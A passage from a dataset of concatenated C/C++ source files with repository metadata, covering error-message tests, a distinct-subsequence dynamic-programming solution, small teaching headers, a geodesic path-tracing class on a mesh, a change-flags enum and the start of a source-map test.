tapi_get_str (NULL, buf, 64, buf);
vitapi_error (error, 256);
t.is (error, "Null pointer to a terminal key passed to tapi_get_str.",
"tapi_get_str: NULL pointer");
tapi_get_str ("Ttl", NULL, 64, buf);
vitapi_error (error, 256);
t.is (error, "Null pointer for a key value passed to tapi_get_str.",
"tapi_get_str: NULL pointer");
tapi_get_str ("Ttl", buf, 1, buf);
vitapi_error (error, 256);
t.is (error, "Insufficient buffer size passed to tapi_get_str.",
"tapi_get_str: Insufficient buffer");
tapi_get_str ("Ttl", buf, 64, NULL);
vitapi_error (error, 256);
t.is (error, "Null pointer for a substitution passed to tapi_get_str.",
"tapi_get_str: NULL pointer");
return 0;
}
////////////////////////////////////////////////////////////////////////////////
| [
"paul@beckingham.net"
] | paul@beckingham.net |
75319015aac581da61932c849fb6a7159503b47b | 29b91fafb820e5513c7284072dca5bd77c189b22 | /dp_distinct_transformations.cpp | 6d3fd34a18c3be24c8c482c907eab923650f7165 | [] | no_license | rishirajsurti/gfg | c1d542ebb59790d529be7be2a107a67f4fae2b35 | f7205bec70c39e085bf8a45b527f7464c8bcef8e | refs/heads/master | 2021-03-27T19:13:06.466708 | 2016-11-15T11:43:31 | 2016-11-15T11:43:31 | 61,434,826 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,098 | cpp | #include <bits/stdc++.h>
using namespace std;
typedef vector<int> vi;
int dp[1010][101];
/*int solve(string &a, int m, string &b, int n){
if(dp[m][n] != 0) return dp[m][n];
if(a[m] == b[n]){
dp[m][n] =
}
}
*/
/*int ans;
void solve(string &a, int m, string &b, int n){
if(m == a.length() && n = b.length()) {
ans++;
return;
}
if(a[m] == b[n]){
solve(a, m+1, b, n+1);
solve(a, m+1, b, n);
}
}
*/
int solve(string a, string b){
int m = a.length(), n = b.length();
int dp[m+1][n+1];
memset(dp, 0, sizeof dp);
for(int i = 0; i <= m ;i++) dp[i][0] = 1; //b="", only 1 distinct trans, delete all chars
for(int i = 1; i <= m; i++){
for(int j = 1; j <= n; j++){
if(a[i-1] == b[j-1]){
dp[i][j] = dp[i-1][j] + dp[i-1][j-1];
}
else
dp[i][j] = dp[i-1][j];
}
}
/*for(int i = 0; i <= m; i++){
for(int j = 0; j <= n; j++){
printf("%4d", dp[i][j]);
}
printf("\n");
}*/
return dp[m][n];
}
int main(){
int t; scanf("%d", &t);
while(t--){
string a, b;
cin>>a;
cin>>b;
memset(dp, 0, sizeof dp);
printf("%d\n", solve(a,b));
}
return 0;
} | [
"rishirajsurti.iitm@gmail.com"
] | rishirajsurti.iitm@gmail.com |
a6b310af49d8c1bb4732e8866d15499df0a1c0cf | 4912b90d7f88da6559254bd11dd496d5c3061269 | /d01/ex02/Zombie.hpp | f9593dfe489974b14f1dfc60d10df37a36138b80 | [] | no_license | splieseis/CPP_piscine | 220ac99259e0f8e2e4932b9ae56cc560644c6fdc | 458c9ae005bfbc44ce44fc104a4e0df02e74dc5d | refs/heads/master | 2020-04-17T19:09:37.122801 | 2019-01-25T00:51:56 | 2019-01-25T00:51:56 | 166,856,206 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,122 | hpp | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* Zombie.hpp :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: spliesei <spliesei@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/01/23 14:55:29 by spliesei #+# #+# */
/* Updated: 2019/01/23 15:18:02 by spliesei ### ########.fr */
/* */
/* ************************************************************************** */
#ifndef ZOMBIE_HPP
# define ZOMBIE_HPP
# include <string>
class Zombie
{
public:
Zombie(std::string name, std::string type);
~Zombie(void);
std::string name;
std::string type;
void announce();
};
#endif
| [
"s.plieseis@hotmail.com"
] | s.plieseis@hotmail.com |
b094b25d8b444ab53517b6f7d78236e6f08c25a9 | c4d42f881b563c9fc94844a0b45922c872b09db0 | /first_day/defultParam/chongtu.cpp | e06b7bb4fb87ec7f3a7491924730d87d693f51aa | [] | no_license | Lc405001996/cpp_study | 73231f933029e9133be6ee8af1a249eb837e0d77 | 07532bc9cb2d8f646fef60d2f14092d6218d4a3e | refs/heads/master | 2020-03-26T10:32:49.888747 | 2018-08-23T11:13:24 | 2018-08-23T11:13:24 | 144,803,289 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 438 | cpp | //
// Created by Lc on 2018/8/15.
//
#include <iostream>
int add(int a, int b= 0, int c = 2, int d = 3);
int add(int a, int b);
int main()
{
printf("%d\n", add(1));
// printf("%d\n", add(1,1)); //这种是错误的,add is ambiguous,暧昧的
printf("%d\n", add(1, 2, 3));
printf("%d\n", add(1, 2, 3, 4));
}
int add(int a, int b, int c, int d)
{
return a + b + c + d;
}
int add(int a, int b)
{
return a + b;
} | [
"405001996@qq.com"
] | 405001996@qq.com |
b3f800c937fb05401fec893399d6f002f119edf7 | c0cb586a94b3bf6f670ce126f11975b8e897e86b | /231A.cpp | 772694f65b5e4b0477c6712b1c0a6031d5f7e874 | [] | no_license | itskoi/CodeForces | 5dcf477e268b42eec061646a5f640cdaddc46fac | b5a47e40fa28e2493082bca00cbf6a94d9e1ef27 | refs/heads/master | 2021-08-06T02:03:59.346509 | 2021-05-30T03:38:39 | 2021-05-30T03:38:39 | 118,117,172 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 327 | cpp | #include <bits/stdc++.h>
using namespace std;
int main() {
int n; cin >> n;
int ans = 0;
for (int i = 0; i < n; i++) {
int score = 0;
for (int j = 0; j < 3; j++) {
int x; cin >> x;
score += x;
}
if (score >= 2) ans++;
}
cout << ans;
return 0;
}
| [
"19127037@student.hcmus.edu.vn"
] | 19127037@student.hcmus.edu.vn |
95d40f93ea60a5e828ad8c6499b6b136c7d8912d | 8ad05863f532d7da408c53bc0652968183c01899 | /FastDGG_Compiled_Solutions/src/ICH/ExactMethodForDGP.cpp | 4d328253b8c1f5d0d31893f5b582a80f7f94907d | [] | no_license | GeodesicGraph/DGG_and_SVG | ca9b05d3bd7794e68cac1ae099b6b4f1d8e62318 | 06b9954a2db01a7342249908b645a45fd0fa3178 | refs/heads/master | 2023-05-10T20:36:41.078382 | 2023-05-06T14:28:02 | 2023-05-06T14:28:02 | 203,961,960 | 4 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 18,358 | cpp | // ExactMethodForDGP.cpp: implementation of the CExactMethodForDGP class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ExactMethodForDGP.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CExactMethodForDGP::CExactMethodForDGP(const CRichModel& inputModel, const vector<int> &indexOfSourceVerts) : model(inputModel)
{
this->indexOfSourceVerts = indexOfSourceVerts;
nCountOfWindows = 0;
nMaxLenOfPseudoSources = 0;
nMaxLenOfWindowQueue = 0;
depthOfResultingTree = 0;
totalLen = 0;
fComputationCompleted = false;
fLocked = false;
NPE = 0;
memory = 0;
nTotalCurves = 0;
nameOfAlgorithm = "";
//m_InfoAtVertices.resize(model.GetNumOfVerts());
memory += double(model.GetNumOfVerts()) * sizeof(InfoAtVertex) / 1024 / 1024;
}
CExactMethodForDGP::~CExactMethodForDGP()
{
}
void CExactMethodForDGP::PickShortestPaths(int num)
{
if (num >= model.GetNumOfVerts())
num = model.GetNumOfVerts();
nTotalCurves = num;
m_tableOfResultingPaths.clear();
if (num == 0)
return;
if (model.GetNumOfFaces() * num < 4e6)
{
if (num >= model.GetNumOfVerts())
{
m_tableOfResultingPaths.reserve(model.GetNumOfVerts());
for (int i = 0; i < model.GetNumOfVerts(); ++i)
{
BackTrace(i);
}
}
else
{
float step = model.GetNumOfVerts() / float(num);
step = max(1.f, step);
m_tableOfResultingPaths.reserve(int(model.GetNumOfVerts() / step) + 1);
for (float i = FLT_EPSILON; i < model.GetNumOfVerts(); i += step)
{
BackTrace(int(i));
}
}
}
}
void CExactMethodForDGP::BackTrace(int indexOfVert)
{
if (m_InfoAtVertices[indexOfVert].birthTime == -1)
{
assert(model.GetNumOfComponents() != 1 || model.Neigh(indexOfVert).empty());
return;
}
m_tableOfResultingPaths.push_back(list<CPoint3D>());
vector<int> vertexNodes;
int index = indexOfVert;
vertexNodes.push_back(index);
while (m_InfoAtVertices[index].disUptodate > FLT_EPSILON)
{
int indexOfParent = m_InfoAtVertices[index].indexOfParent;
if (m_InfoAtVertices[index].fParentIsPseudoSource)
{
index = indexOfParent;
}
else
{
index = m_InfoAtVertices[index].indexOfRootVertOfParent;
}
vertexNodes.push_back(index);
};
int indexOfSourceVert = index;
int posOfTable = (int)m_tableOfResultingPaths.size() - 1;
for (int i = 0; i < (int)vertexNodes.size() - 1; ++i)
{
int lastVert = vertexNodes[i];
CPoint3D pt = model.ComputeShiftPoint(lastVert);
m_tableOfResultingPaths[posOfTable].push_back(pt);
if (m_InfoAtVertices[lastVert].fParentIsPseudoSource)
{
continue;
}
int parentEdgeIndex = m_InfoAtVertices[lastVert].indexOfParent;
int edgeIndex = model.Edge(parentEdgeIndex).indexOfReverseEdge;
double leftLen = model.Edge(model.Edge(parentEdgeIndex).indexOfRightEdge).length;
double rightLen = model.Edge(model.Edge(parentEdgeIndex).indexOfLeftEdge).length;
double xBack = model.Edge(parentEdgeIndex).length - model.Edge(parentEdgeIndex).xOfPlanarCoordOfOppositeVert;
double yBack = -model.Edge(parentEdgeIndex).yOfPlanarCoordOfOppositeVert;
double disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
double proportion = 1 - m_InfoAtVertices[lastVert].entryProp;
while (1)
{
CPoint3D pt1 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfLeftVert);
CPoint3D pt2 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfRightVert);
CPoint3D ptIntersection = CRichModel::CombineTwoNormalsTo(pt1, 1 - proportion, pt2, proportion);
m_tableOfResultingPaths[posOfTable].push_back(ptIntersection);
if (model.Edge(edgeIndex).indexOfOppositeVert == vertexNodes[i + 1])
break;
double oldProprotion = proportion;
proportion = model.ProportionOnLeftEdgeByImage(edgeIndex,xBack, yBack, oldProprotion);
if (proportion >= -LENGTH_EPSILON_CONTROL && proportion <= 1)
{
proportion = max(proportion, 0.);
edgeIndex = model.Edge(edgeIndex).indexOfLeftEdge;
rightLen = disToAngle;
}
else
{
proportion = model.ProportionOnRightEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
proportion = max(proportion, 0.);
proportion = min(proportion, 1.);
edgeIndex = model.Edge(edgeIndex).indexOfRightEdge;
leftLen = disToAngle;
}
model.GetPointByRotatingAround(edgeIndex, leftLen, rightLen, xBack, yBack);
disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
};
}
m_tableOfResultingPaths[posOfTable].push_back(model.ComputeShiftPoint(indexOfSourceVert));
}
int CExactMethodForDGP::FindSourceVertex(int indexOfVert, vector<CPoint3D>& resultingPath) const
{
resultingPath.clear();
if (m_InfoAtVertices.find(indexOfVert) == m_InfoAtVertices.end())
{
assert(model.GetNumOfComponents() != 1 || model.Neigh(indexOfVert).empty());
return -1;
}
vector<int> vertexNodes;
int index = indexOfVert;
vertexNodes.push_back(index);
while (true)
{
map<int, InfoAtVertex>::const_iterator it = m_InfoAtVertices.find(index);
if (it == m_InfoAtVertices.end())
break;
if (it->second.disUptodate <= FLT_EPSILON)
break;
int indexOfParent = it->second.indexOfParent;
if (it->second.fParentIsPseudoSource)
{
index = indexOfParent;
}
else
{
index = it->second.indexOfRootVertOfParent;
}
vertexNodes.push_back(index);
};
int indexOfSourceVert = index;
for (int i = 0; i < (int)vertexNodes.size() - 1; ++i)
{
int lastVert = vertexNodes[i];
//if (lastVert != indexOfVert)
if (resultingPath.empty() || (resultingPath.back() - model.Vert(lastVert)).Len() > 1e-5)
resultingPath.push_back(model.Vert(lastVert));
if (m_InfoAtVertices.find(lastVert)->second.fParentIsPseudoSource)
{
continue;
}
int parentEdgeIndex = m_InfoAtVertices.find(lastVert)->second.indexOfParent;
int edgeIndex = model.Edge(parentEdgeIndex).indexOfReverseEdge;
double leftLen = model.Edge(model.Edge(parentEdgeIndex).indexOfRightEdge).length;
double rightLen = model.Edge(model.Edge(parentEdgeIndex).indexOfLeftEdge).length;
double xBack = model.Edge(parentEdgeIndex).length - model.Edge(parentEdgeIndex).xOfPlanarCoordOfOppositeVert;
double yBack = -model.Edge(parentEdgeIndex).yOfPlanarCoordOfOppositeVert;
double disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
double proportion = 1 - m_InfoAtVertices.find(lastVert)->second.entryProp;
while (1)
{
if (resultingPath.empty() || (resultingPath.back() - IntersectionWithPath(edgeIndex, proportion).GetPosition(model)).Len() > 1e-5)
resultingPath.push_back(IntersectionWithPath(edgeIndex, proportion).GetPosition(model));
if (model.Edge(edgeIndex).indexOfOppositeVert == vertexNodes[i + 1])
break;
double oldProprotion = proportion;
proportion = model.ProportionOnLeftEdgeByImage(edgeIndex,xBack, yBack, oldProprotion);
if (model.Edge(edgeIndex).indexOfLeftEdge == -1 || model.Edge(edgeIndex).indexOfRightEdge == -1)
{
break;
}
if (proportion >= -LENGTH_EPSILON_CONTROL && proportion <= 1)
{
proportion = max(proportion, 0.);
edgeIndex = model.Edge(edgeIndex).indexOfLeftEdge;
rightLen = disToAngle;
}
else
{
proportion = model.ProportionOnRightEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
proportion = max(proportion, 0.);
proportion = min(proportion, 1.);
edgeIndex = model.Edge(edgeIndex).indexOfRightEdge;
leftLen = disToAngle;
}
model.GetPointByRotatingAround(edgeIndex, leftLen, rightLen, xBack, yBack);
disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
};
}
if (resultingPath.empty() || (resultingPath.back() - model.Vert(indexOfSourceVert)).Len() > 1e-5)
resultingPath.push_back(model.Vert(indexOfSourceVert));
return indexOfSourceVert;
}
int CExactMethodForDGP::FindSourceVertex(int indexOfVert, vector<IntersectionWithPath>& resultingPath) const
{
resultingPath.clear();
if (m_InfoAtVertices.find(indexOfVert) == m_InfoAtVertices.end())
{
assert(model.GetNumOfComponents() != 1 || model.Neigh(indexOfVert).empty());
return -1;
}
vector<int> vertexNodes;
int index = indexOfVert;
vertexNodes.push_back(index);
while (true)
{
map<int, InfoAtVertex>::const_iterator it = m_InfoAtVertices.find(index);
if (it == m_InfoAtVertices.end())
break;
if (it->second.disUptodate <= FLT_EPSILON)
break;
int indexOfParent = it->second.indexOfParent;
if (it->second.fParentIsPseudoSource)
{
index = indexOfParent;
}
else
{
index = it->second.indexOfRootVertOfParent;
}
vertexNodes.push_back(index);
};
int indexOfSourceVert = index;
for (int i = 0; i < (int)vertexNodes.size() - 1; ++i)
{
int lastVert = vertexNodes[i];
//if (lastVert != indexOfVert)
resultingPath.push_back(IntersectionWithPath(lastVert));
if (m_InfoAtVertices.find(lastVert)->second.fParentIsPseudoSource)
{
continue;
}
int parentEdgeIndex = m_InfoAtVertices.find(lastVert)->second.indexOfParent;
int edgeIndex = model.Edge(parentEdgeIndex).indexOfReverseEdge;
double leftLen = model.Edge(model.Edge(parentEdgeIndex).indexOfRightEdge).length;
double rightLen = model.Edge(model.Edge(parentEdgeIndex).indexOfLeftEdge).length;
double xBack = model.Edge(parentEdgeIndex).length - model.Edge(parentEdgeIndex).xOfPlanarCoordOfOppositeVert;
double yBack = -model.Edge(parentEdgeIndex).yOfPlanarCoordOfOppositeVert;
double disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
double proportion = 1 - m_InfoAtVertices.find(lastVert)->second.entryProp;
while (1)
{
resultingPath.push_back(IntersectionWithPath(edgeIndex, proportion));
if (model.Edge(edgeIndex).indexOfOppositeVert == vertexNodes[i + 1])
break;
double oldProprotion = proportion;
proportion = model.ProportionOnLeftEdgeByImage(edgeIndex,xBack, yBack, oldProprotion);
if (model.Edge(edgeIndex).indexOfLeftEdge == -1 || model.Edge(edgeIndex).indexOfRightEdge == -1)
{
break;
}
if (proportion >= -LENGTH_EPSILON_CONTROL && proportion <= 1)
{
proportion = max(proportion, 0.);
edgeIndex = model.Edge(edgeIndex).indexOfLeftEdge;
rightLen = disToAngle;
}
else
{
proportion = model.ProportionOnRightEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
proportion = max(proportion, 0.);
proportion = min(proportion, 1.);
edgeIndex = model.Edge(edgeIndex).indexOfRightEdge;
leftLen = disToAngle;
}
model.GetPointByRotatingAround(edgeIndex, leftLen, rightLen, xBack, yBack);
disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
};
}
resultingPath.push_back(IntersectionWithPath(indexOfSourceVert));
return indexOfSourceVert;
}
void CExactMethodForDGP::Execute()
{
if (fComputationCompleted)
return;
if (!fLocked)
{
fLocked = true;
nCountOfWindows = 0;
nMaxLenOfWindowQueue = 0;
depthOfResultingTree = 0;
InitContainers();
nTotalMilliSeconds = GetTickCount();
BuildSequenceTree();
nTotalMilliSeconds = GetTickCount() - nTotalMilliSeconds;
//FillExperimentalResults();
ClearContainers();
fComputationCompleted = true;
fLocked = false;
}
}
CPoint3D CExactMethodForDGP::BackTraceDirectionOnly(int indexOfVert){
CPoint3D ret;
if (m_InfoAtVertices[indexOfVert].birthTime == -1)
{
assert(model.GetNumOfComponents() != 1 || model.Neigh(indexOfVert).empty());
throw "What's wrong????";
}
//m_tableOfResultingPaths.push_back(list<CPoint3D>());
vector<int> vertexNodes;
int index = indexOfVert;
vertexNodes.push_back(index);
while (m_InfoAtVertices[index].disUptodate > FLT_EPSILON)
{
int indexOfParent = m_InfoAtVertices[index].indexOfParent;
if (m_InfoAtVertices[index].fParentIsPseudoSource)
{
index = indexOfParent;
}
else
{
index = m_InfoAtVertices[index].indexOfRootVertOfParent;
}
vertexNodes.push_back(index);
};
int indexOfSourceVert = index;
//int posOfTable = (int)m_tableOfResultingPaths.size() - 1;
for (int i = max(0,(int)vertexNodes.size() - 2); i < (int)vertexNodes.size() - 1; ++i)
{
int lastVert = vertexNodes[i];
//CPoint3D pt = model.ComputeShiftPoint(lastVert);
CPoint3D pt = model.Vert(lastVert);
//m_tableOfResultingPaths[posOfTable].push_back(pt);
ret = pt;
if (m_InfoAtVertices[lastVert].fParentIsPseudoSource)
{
continue;
}
//printf("in exp map,line(603) indexOfVert = i = %d , vertexNodes.size() - 1 =%d\n" ,
// indexOfVert , i , vertexNodes.size() - 1 );
int parentEdgeIndex = m_InfoAtVertices[lastVert].indexOfParent;
int edgeIndex = model.Edge(parentEdgeIndex).indexOfReverseEdge;
double leftLen = model.Edge(model.Edge(parentEdgeIndex).indexOfRightEdge).length;
double rightLen = model.Edge(model.Edge(parentEdgeIndex).indexOfLeftEdge).length;
double xBack = model.Edge(parentEdgeIndex).length - model.Edge(parentEdgeIndex).xOfPlanarCoordOfOppositeVert;
double yBack = -model.Edge(parentEdgeIndex).yOfPlanarCoordOfOppositeVert;
double disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
double proportion = 1 - m_InfoAtVertices[lastVert].entryProp;
int cnt=0;
while (1)
{
cnt++ ;
if( cnt > 100 ) break;
//CPoint3D pt1 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfLeftVert);
//CPoint3D pt2 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfRightVert);
CPoint3D pt1 = model.Vert(model.Edge(edgeIndex).indexOfLeftVert);
CPoint3D pt2 = model.Vert(model.Edge(edgeIndex).indexOfRightVert);
CPoint3D ptIntersection = CRichModel::CombineTwoNormalsTo(pt1, 1 - proportion, pt2, proportion);
//m_tableOfResultingPaths[posOfTable].push_back(ptIntersection);
ret = ptIntersection;
if (model.Edge(edgeIndex).indexOfOppositeVert == vertexNodes[i + 1])
break;
double oldProprotion = proportion;
proportion = model.ProportionOnLeftEdgeByImage(edgeIndex,xBack, yBack, oldProprotion);
if (proportion >= -LENGTH_EPSILON_CONTROL && proportion <= 1)
{
proportion = max(proportion, 0.0);
edgeIndex = model.Edge(edgeIndex).indexOfLeftEdge;
rightLen = disToAngle;
}
else
{
proportion = model.ProportionOnRightEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
proportion = max(proportion, 0.0);
proportion = min(proportion, 1.);
edgeIndex = model.Edge(edgeIndex).indexOfRightEdge;
leftLen = disToAngle;
}
model.GetPointByRotatingAround(edgeIndex, leftLen, rightLen, xBack, yBack);
disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
};
}
return ret;
//m_tableOfResultingPaths[posOfTable].push_back(model.ComputeShiftPoint(indexOfSourceVert));
}
CPoint3D CExactMethodForDGP::BackTraceDirectionOnly(int indexOfVert, bool& isVert, int& id) {
CPoint3D ret;
if (m_InfoAtVertices[indexOfVert].birthTime == -1)
{
assert(model.GetNumOfComponents() != 1 || model.Neigh(indexOfVert).empty());
throw "What's wrong????";
}
//m_tableOfResultingPaths.push_back(list<CPoint3D>());
vector<int> vertexNodes;
int index = indexOfVert;
vertexNodes.push_back(index);
while (m_InfoAtVertices[index].disUptodate > FLT_EPSILON)
{
int indexOfParent = m_InfoAtVertices[index].indexOfParent;
if (m_InfoAtVertices[index].fParentIsPseudoSource)
{
index = indexOfParent;
}
else
{
index = m_InfoAtVertices[index].indexOfRootVertOfParent;
}
vertexNodes.push_back(index);
};
int indexOfSourceVert = index;
//int posOfTable = (int)m_tableOfResultingPaths.size() - 1;
for (int i = max(0, (int)vertexNodes.size() - 2); i < (int)vertexNodes.size() - 1; ++i)
{
int lastVert = vertexNodes[i];
//CPoint3D pt = model.ComputeShiftPoint(lastVert);
CPoint3D pt = model.Vert(lastVert);
//m_tableOfResultingPaths[posOfTable].push_back(pt);
ret = pt;
isVert = true;
id = lastVert;
if (m_InfoAtVertices[lastVert].fParentIsPseudoSource)
{
continue;
}
//printf("in exp map,line(603) indexOfVert = i = %d , vertexNodes.size() - 1 =%d\n" ,
// indexOfVert , i , vertexNodes.size() - 1 );
int parentEdgeIndex = m_InfoAtVertices[lastVert].indexOfParent;
int edgeIndex = model.Edge(parentEdgeIndex).indexOfReverseEdge;
double leftLen = model.Edge(model.Edge(parentEdgeIndex).indexOfRightEdge).length;
double rightLen = model.Edge(model.Edge(parentEdgeIndex).indexOfLeftEdge).length;
double xBack = model.Edge(parentEdgeIndex).length - model.Edge(parentEdgeIndex).xOfPlanarCoordOfOppositeVert;
double yBack = -model.Edge(parentEdgeIndex).yOfPlanarCoordOfOppositeVert;
double disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
double proportion = 1 - m_InfoAtVertices[lastVert].entryProp;
int cnt = 0;
while (1)
{
cnt++;
if (cnt > 100) break;
//CPoint3D pt1 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfLeftVert);
//CPoint3D pt2 = model.ComputeShiftPoint(model.Edge(edgeIndex).indexOfRightVert);
CPoint3D pt1 = model.Vert(model.Edge(edgeIndex).indexOfLeftVert);
CPoint3D pt2 = model.Vert(model.Edge(edgeIndex).indexOfRightVert);
CPoint3D ptIntersection = CRichModel::CombineTwoNormalsTo(pt1, 1 - proportion, pt2, proportion);
//m_tableOfResultingPaths[posOfTable].push_back(ptIntersection);
ret = ptIntersection;
isVert = false;
id = edgeIndex;
if (model.Edge(edgeIndex).indexOfOppositeVert == vertexNodes[i + 1])
break;
double oldProprotion = proportion;
proportion = model.ProportionOnLeftEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
if (proportion >= -LENGTH_EPSILON_CONTROL && proportion <= 1)
{
proportion = max(proportion, 0.0);
edgeIndex = model.Edge(edgeIndex).indexOfLeftEdge;
rightLen = disToAngle;
}
else
{
proportion = model.ProportionOnRightEdgeByImage(edgeIndex, xBack, yBack, oldProprotion);
proportion = max(proportion, 0.0);
proportion = min(proportion, 1.);
edgeIndex = model.Edge(edgeIndex).indexOfRightEdge;
leftLen = disToAngle;
}
model.GetPointByRotatingAround(edgeIndex, leftLen, rightLen, xBack, yBack);
disToAngle = model.DistanceToIncidentAngle(edgeIndex, xBack, yBack);
};
}
return ret;
//m_tableOfResultingPaths[posOfTable].push_back(model.ComputeShiftPoint(indexOfSourceVert));
}
| [
"53506542+GeodesicGraph@users.noreply.github.com"
] | 53506542+GeodesicGraph@users.noreply.github.com |
83093fb100b68c0aca3eaba1a4dc10da76be704c | 5558f90148a82001e967ded1f950d71d0c236029 | /src/solver/changes/ChangeFlags.hpp | 801575e01140a7bcf4f384950354a68d6f18dfbc | [] | no_license | RDLLab/tapir | 68281814d6b5ab5d97a77724c4e0652d511ebe78 | e2c0da73efca5e8ead33a860f26e75198459c262 | refs/heads/master | 2022-12-09T04:05:35.038038 | 2020-09-04T23:36:52 | 2020-09-04T23:36:52 | 292,951,917 | 18 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 3,128 | hpp | /** @file ChangeFlags.hpp
*
* Contains an enum class used to define flags for the different types of changes that can
* apply at a single state and, in turn, a history entry with that state.
*
* This file also defines some basic operators (Bitwise OR, AND, NOT) to allow combinations of
* flags, even thoug this class is used as a strict enum.
*/
#ifndef SOLVER_CHANGEFLAGS_HPP_
#define SOLVER_CHANGEFLAGS_HPP_
#include <cstdint>
#include <initializer_list>
namespace solver {
/** The integer type used to store changes. */
typedef uint8_t ChangeFlagsIntType;
/** An enumeration that defines the types of flags that can apply at a single state, and, in turn,
* at all of the history entries associated with that state.
*
* This is a strict enum (enum class) in order to ensure that the type is used carefully. Instead
* of allowing them to be treated as a numeric type, we provide operators to allow bitwise or
* and bitwise and operations.
*/
enum class ChangeFlags : ChangeFlagsIntType {
// No changes
UNCHANGED = 0x000,
/* --------------- Flags to apply within the state pool. --------------- */
// Change in the reward value.
REWARD = 0x001,
// Different transition.
TRANSITION = 0x002,
// Different transition from the previous state;
// TRANSITION_BEFORE(e) implies TRANSITION(prev(e))
TRANSITION_BEFORE = 0x004,
// This state is deleted; this also means the prior transition must change.
// DELETED(e) implies TRANSITION_BEFORE(e)
DELETED = 0x008,
// Recalculate observation for this current time step.
OBSERVATION = 0x010,
// Recalculate observation for the previous time step (o depends on s').
// OBSERVATION_BEFORE(e) implies OBSERVATION(prev(e))
OBSERVATION_BEFORE = 0x020,
// Recalculate the heuristic value iff this state is at the end of a sequence.
HEURISTIC = 0x040,
};
/** Bitwise OR assignment operator. */
inline ChangeFlags &operator|=(ChangeFlags &lhs, ChangeFlags const &rhs) {
lhs = static_cast<ChangeFlags>(
static_cast<ChangeFlagsIntType>(lhs) | static_cast<ChangeFlagsIntType>(rhs));
return lhs;
}
/** Bitwise OR operator. */
inline ChangeFlags operator|(ChangeFlags lhs, ChangeFlags const &rhs) {
lhs |= rhs;
return lhs;
}
/** Bitwise AND assignment operator. */
inline ChangeFlags &operator&=(ChangeFlags &lhs, ChangeFlags const &rhs) {
lhs = static_cast<ChangeFlags>(
static_cast<ChangeFlagsIntType>(lhs) & static_cast<ChangeFlagsIntType>(rhs));
return lhs;
}
/** Bitwise AND operator. */
inline ChangeFlags operator&(ChangeFlags lhs, ChangeFlags const &rhs) {
lhs &= rhs;
return lhs;
}
/** Bitwise NOT operator. */
inline ChangeFlags operator~(ChangeFlags const &cf) {
return static_cast<ChangeFlags>(~static_cast<ChangeFlagsIntType>(cf));
}
namespace changes {
/** Returns true iff all of the given flags are set in the given value. */
inline bool has_flags(ChangeFlags value, ChangeFlags flags) {
return (value & flags) == flags;
}
} /* namespace changes */
} /* namespace solver */
#endif /* SOLVER_CHANGEFLAGS_HPP_ */
| [
"hannakur@gmail.com"
] | hannakur@gmail.com |
82099b818f0614a5ae1e09cfda3d4d7db170d726 | 2f6006aefbf2bff3c253147185ec84884c5cb234 | /tests/runtime/SourceMap.cpp | 0d8b4b4c421b72f63fa1b72433e52e23a8a5ab43 | [
"MIT"
] | permissive | 15831944/GCodeLib | 11186b68a4fb2cb51aec35e885bf37b25e84293c | f522cac44aa94b8b490a5c4978a0aa132e931662 | refs/heads/master | 2021-10-24T05:40:23.511020 | 2019-03-22T12:10:54 | 2019-03-22T12:10:54 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,600 | cpp | #include "catch.hpp"
#include "gcodelib/runtime/SourceMap.h"
using namespace GCodeLib::Parser;
using namespace GCodeLib::Runtime;
bool operator==(const SourcePosition &p1, const SourcePosition &p2) {
return p1.getTag().compare(p2.getTag()) == 0 &&
p1.getLine() == p2.getLine() &&
p1.getColumn() == p2.getColumn() &&
p1.getChecksum() == p2.getChecksum();
}
TEST_CASE("Source block") {
SourcePosition position("test", 1, 2, 3);
const std::size_t START = 10;
const std::size_t LENGTH = 100;
IRSourceBlock block(position, START, LENGTH);
REQUIRE(block.getSourcePosition() == position);
REQUIRE(block.getStartAddress() == START);
REQUIRE(block.getLength() == LENGTH);
REQUIRE(block.includes(START));
REQUIRE(block.includes(START + LENGTH / 2));
REQUIRE(block.includes(START + LENGTH - 1));
REQUIRE_FALSE(block.includes(-START));
REQUIRE_FALSE(block.includes(START - 1));
REQUIRE_FALSE(block.includes(START + LENGTH));
}
TEST_CASE("Source map") {
SourcePosition pos[] = {
SourcePosition("test", 1, 2, 3),
SourcePosition("test", 2, 3, 4),
SourcePosition("test", 3, 4, 5)
};
IRSourceMap map;
REQUIRE(!map.locate(0).has_value());
map.addBlock(pos[0], 0, 10);
map.addBlock(pos[1], 0, 5);
map.addBlock(pos[2], 1, 3);
auto l1 = map.locate(2);
auto l2 = map.locate(4);
auto l3 = map.locate(6);
auto l4 = map.locate(10);
REQUIRE(l1.has_value());
REQUIRE(l1.value() == pos[2]);
